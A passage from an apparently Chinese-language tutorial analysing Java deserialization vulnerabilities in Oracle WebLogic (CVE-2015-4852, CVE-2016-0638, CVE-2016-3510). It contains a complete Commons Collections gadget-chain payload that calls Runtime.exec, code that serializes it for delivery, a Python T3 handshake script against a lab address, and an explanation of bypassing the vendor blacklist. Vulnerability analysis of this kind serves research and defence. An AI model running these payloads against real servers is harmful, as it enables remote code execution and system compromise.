              Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);//反射机制调用AnnotationInvocationHandler类的构造函数
              ctor.setAccessible(true);//取消构造函数修饰符限制
              Object instance = ctor.newInstance(Target.class, ChainMap);//获取AnnotationInvocationHandler类实例

              而前面定义的 memberValues 恰好是 map 类型,将其赋值成 transformedMap 即可满足 var5 即是 entry

              但想进到判断里还需要满足几个条件:

              transformedMap 非空:var4.hasNext() 检查了 memberValuesEntrySet 的迭代器

              var7!=null : var7 的生成过程比较复杂,上面已经标出来了

              这里需要注意的是 var2 的生成过程 AnnotationType.getInstance(this.type)this.type 即是上面传进去的 Target.class

              var7 非空是很难构造的。而这个涉及到 java 的注解与 value 语法糖,最上面有写,跳到上面看一下再回来

              1
              var2 = AnnotationType.getInstance(this.type);

              getInstance 得到我们传进去的注解的基本信息,这里就以传进去了 Target.class 为例:

              1
              Map var3 = var2.memberTypes();

              memberType 得到注解中的成员变量,其返回值为 Map 类型,键为成员变量名称,值为成员变量类型

              这个时候选择传入 this.typeTarget.class 的原因就能看出来了:看 java.lang.annotation.Target 的定义:

              1
              2
              3
              4
              5
              6
              @Documented//会被写入javadoc文档
              @Retention(RetentionPolicy.RUNTIME)//生命周期时运行时
              @Target(ElementType.ANNOTATION_TYPE)//标明注解可以用于注解声明(应用于另一个注解上)
              public @interface Target {
              ElementType[] value();//value语法糖
              }

              也就是说,对于 Target 注解,其成员变量名称总为 value

              那么 var3 即为键值对 <value,[ElementType]>

              1
              Class var7 = (Class)var3.get(var6);

              这时候再来看 var7 的生成式,只需要满足 var6 中有 Map 的键为 value ,值任意即可

              var6 的来源回溯上去,即是让 tmpmap 中存有键为 value 即可

              就是将

              1
              2
              HashMap tmpMap=new HashMap();
              tmpMap.put("nothinghere","qwq");

              改为

              1
              2
              HashMap tmpMap=new HashMap();
              tmpMap.put("value","qwq");

              至此利用链完毕,回顾一下整条链子:

              1
              2
              3
              4
              5
              6
              7
              8
              9
              10
              11
              12
              13
              14
              AnnotationInvocationHandler.readObject()
              Map.entry.setValue()
              TransformedMap.put()
              ChainedTransformer.transform()
              ConstantTransformer.transform()
              InvokerTransformer.transform()
              Method.invoke()
              Class.getMethod()
              InvokerTransformer.transform()
              Method.invoke()
              Runtime.getRuntime()
              InvokerTransformer.transform()
              Method.invoke()
              Runtime.exec()

              payload

              1
              2
              3
              4
              5
              6
              7
              8
              9
              10
              11
              12
              13
              14
              15
              16
              17
              18
              19
              20
              21
              22
              23
              24
              25
              26
              27
              28
              29
              30
              31
              32
              33
              34
              35
              import org.apache.commons.collections4.*;
              import org.apache.commons.collections4.functors.ChainedTransformer;
              import org.apache.commons.collections4.functors.ConstantTransformer;
              import org.apache.commons.collections4.functors.InvokerTransformer;
              import org.apache.commons.collections4.map.TransformedMap;

              import java.lang.annotation.Target;
              import java.lang.reflect.Constructor;
              import java.util.HashMap;
              import java.util.Map;

              import org.apache.commons.collections4.Transformer;

              public class test_part1 {
              public static void main(String[] args) throws Exception {
              Transformer[] transformers_exec = new Transformer[]{
              new ConstantTransformer(Runtime.class),
              new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
              new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
              new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
              };
              Transformer chain = new ChainedTransformer(transformers_exec);
              // chain.transform(1);
              HashMap tmpMap=new HashMap();
              tmpMap.put("value","qwq");
              Map ChainMap=TransformedMap.transformingMap(tmpMap,null,chain);
              // ChainMap.put("justfor","test");
              // Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next();
              // entry.setValue("qwq");
              Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
              Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
              ctor.setAccessible(true);
              Object instance = ctor.newInstance(Target.class, ChainMap);
              }
              }
          • 上传

            可以加上这段代码在本地模拟上传试一下:

            1
            2
            3
            4
            5
            6
            7
            8
            9
            10
            11
            //payload序列化写入文件,模拟网络传输
            FileOutputStream f = new FileOutputStream("payload.bin");
            ObjectOutputStream fout = new ObjectOutputStream(f);
            fout.writeObject(instance);

            //服务端读取文件,反序列化,模拟网络传输
            FileInputStream fi = new FileInputStream("payload.bin");
            ObjectInputStream fin = new ObjectInputStream(fi);

            //服务端反序列化
            fin.readObject();
            • T3协议分析

              python 模拟握手包的发包,wireshark 抓一下,追踪 TCP

              1
              2
              3
              4
              5
              6
              7
              8
              9
              10
              11
              12
              13
              14
              15
              16
              import socket

              def T3Test(ip,port):
              sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
              sock.connect((ip, port))
              handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
              sock.sendall(handshake.encode())
              while True:
              data = sock.recv(1024)
              print(data.decode())

              if __name__ == "__main__":
              ip = "192.168.19.131"
              port = 7001

              T3Test(ip,port)

              再看一下网上的资料,握手包结束后是序列化的 java 数据流

              前面提到过 aced 0005 是序列化的标志,那么为了执行 payload ,抓下协议包,将数据改为构造的 payload 即可

      • CVE-2016-0638 浅析

        • 原理

          在上一个漏洞爆出后, Oracleweblogic 发布了补丁,将以下 $5$ 个函数加入黑名单:

          1
          2
          3
          4
          5
          6
          org.apache.commons.collections.functors*
          com.sun.org.apache.xalan.internal.xsltc.trax*
          javassist*
          org.codehaus.groovy.runtime.ConvertedClosure
          org.codehaus.groovy.runtime.ConversionHandler
          org.codehaus.groovy.runtime.MethodClosure

          并且在 CVE-2015-4852 中三个反序列化的地方进行了黑名单判定:

          1
          2
          3
          weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
          weblogic.rjvm.MsgAbbrevInputStream.class
          weblogic.iiop.Utils.class

          CVE-2015-4852 段 $3$ 用到的 AnnotationInvocationHandler 类通过 InboundMsgAbbrev#readObject 反序列化时会调用到 ServerChannelInputStream#resolveClass ,也就是黑名单的检测所在的位置

          如图,在 wlserver.server.lib.wlthint3client.jar.weblogic.rjvm.inboundMsgAbbrev 中:

          这里的思路是:找到一个类将恶意链包裹起来(二次序列化)以通过黑名单检测,随后再将其解开(黑名单检测后的反序列化),再执行恶意链(该类自己的readobject方法二次反序列化)

          也就是 wlserver.server.lib.wlthint3client.jar.weblogic.jms.common.StreamMessageImpl 类以及其中的 External() 方法

          该方法执行时,反序列化传入的参数并调用参数反序列化后对应类的 readObject 方法

          使用该类的具体原理是:对于原本构造好、需要反序列化来执行的链子,封装进 StreamMessageImpl 并对其序列化。反序列化时该类不在黑名单中所以不被过滤,其调用 readObject 方法时对之前封装的链子再次反序列化

        • 测试

          weblogic_cmd 来测试一下:

          扔到 idea 里面,配置一下:

          应用实参这一行参数可以自己改,-C 后面即是 payload

          由于版本问题,这里用 jdk1.8 启动,需要额外配置两个库的位置:

          直接断点在 StreamMessageImpl.readExternal :

          看眼 var4 显然是反序列化的数据

          继续跟踪 var5readObject 就能回到熟悉的 AnnotationInvocationHandler

      • CVE-2016-3510

        具体原理与上一个一样,只不过这个利用了 weblogic.corba.utils.MarshalledObject 类而非 StreamMessageImpl 来封装链子以绕过黑名单检测

        • 调试

          还是使用刚刚的 weblogic_cmdMain 这里把 Type 改成 marshall

          调试看一下构造过程:

          在这里用熟悉的 CC 链构造 payload ,传给 serialData ,而 blindExecutePayloadTransformerChain 主要是返回利用链的 Transform[] 数组内容,所以跟踪 serialData

          前面还是经典的 Lazy 序列化,重点是断点这一行

          MarshalleObject 看下:

          var3 是一个 newMarshalledObject.MarshalledObjectOutputStream 对象:

          而这个对象继承了 ObjectOutputStream 对象,还调用了父类的构造器 super

          再继续看 MarshalledObject

          var1 是恶意构造的 AnnotationInvocationHandler 对象,将其序列化后写入 ByteArrayOutputStream 对象的 var2 中,又被写给 MarshelledObject 对象的 this.objBytes 中 ,然后对其序列化操作